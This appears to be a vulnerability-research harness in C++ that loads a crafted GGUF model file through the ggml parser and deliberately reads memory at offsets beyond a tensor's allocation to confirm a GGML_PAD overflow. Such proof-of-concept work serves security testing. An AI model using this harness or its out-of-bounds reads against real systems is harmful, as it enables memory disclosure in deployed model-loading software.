harness_v3.cpp

/*
 * GGML_PAD Overflow Harness v3 - reads more data to go past allocation
 */
#include <cstdio>
#include <cstdlib>

extern "C" {
#include "ggml.h"
#include "gguf.h"
}

int main(int argc, char **argv) {
    if (argc < 2) { fprintf(stderr, "Usage: %s <gguf>\n", argv[0]); return 1; }

    struct ggml_context *ggml_ctx = NULL;
    struct gguf_init_params params = {
        /*.no_alloc =*/ false,
        /*.ctx      =*/ &ggml_ctx,
    };

    printf("[*] Loading %s with no_alloc=false...\n", argv[1]);
    struct gguf_context *ctx = gguf_init_from_file(argv[1], params);

    if (!ctx) {
        printf("[-] Parser rejected file\n");
        return 1;
    }

    int n = gguf_get_n_tensors(ctx);
    printf("[+] Loaded %d tensors\n", n);

    if (ggml_ctx) {
        struct ggml_tensor *t = ggml_get_first_tensor(ggml_ctx);
        while (t) {
            printf("[*] Tensor '%s': ne[0]=%lld type=%d data=%p\n",
                ggml_get_name(t), (long long)t->ne[0], t->type, t->data);

            if (t->data && t->ne[0] > 1000) {
                /* This is the huge tensor - read past the allocation */
                printf("[*] Huge tensor detected! Attempting reads...\n");
                unsigned char *p = (unsigned char *)t->data;

                /* Try reading at increasing offsets */
                size_t offsets[] = {0, 64, 128, 256, 512, 1024, 2048, 4096, 8192};
                for (int i = 0; i < 9; i++) {
                    printf("[*] Read at data+%zu: ", offsets[i]);
                    fflush(stdout);
                    volatile unsigned char b = p[offsets[i]];
                    printf("0x%02x\n", b);
                }
            }

            t = ggml_get_next_tensor(ggml_ctx, t);
        }
        ggml_free(ggml_ctx);
    }

    gguf_free(ctx);
    return 0;
}